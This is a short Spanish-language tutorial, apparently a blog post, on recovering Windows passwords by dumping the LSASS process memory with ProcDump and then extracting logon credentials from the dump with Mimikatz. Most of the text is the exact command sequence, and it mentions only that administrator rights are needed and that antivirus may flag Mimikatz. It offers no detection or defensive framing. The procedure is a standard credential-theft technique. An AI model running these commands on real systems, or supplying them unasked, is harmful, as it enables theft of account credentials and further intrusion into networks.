ProcDump + Mimikatz Descubriendo contraseñas.
Alto! para hacer esto tienes que partir de tener ya permisos de administrador (OOOOOOOooooocchhh!).
Herramientas:
ProcDump v9.0
https://docs.microsoft.com/es-es/sysinternals/downloads/procdump
Mimikatz
http://blog.gentilkiwi.com/securite/mimikatz/minidump
Empezamos con procdump
Según Microsoft es una herramineta para el volcado de memoria y monitorizacón de aplicaciones
(ejecuta el CMD con derechos de administrador)
procdump.exe -accepteula -ma lsass.exe (Nombre fichero).dmp (32 bits)
procdump.exe -accepteula -64 -ma lsass.exe (Nombre fichero).dmp (64 bits)
El fichero lo utilizaremos con mimikatz
Mimikatz
Aviso! Mimikatz no le gusta nada al Antivirus, puede que tengas problemas con el.
mimikatz # sekurlsa::minidump (nombre fichero).dmp
Switch to MINIDUMPmimikatz # sekurlsa::logonPasswords full
¿ahora recuerdas el password?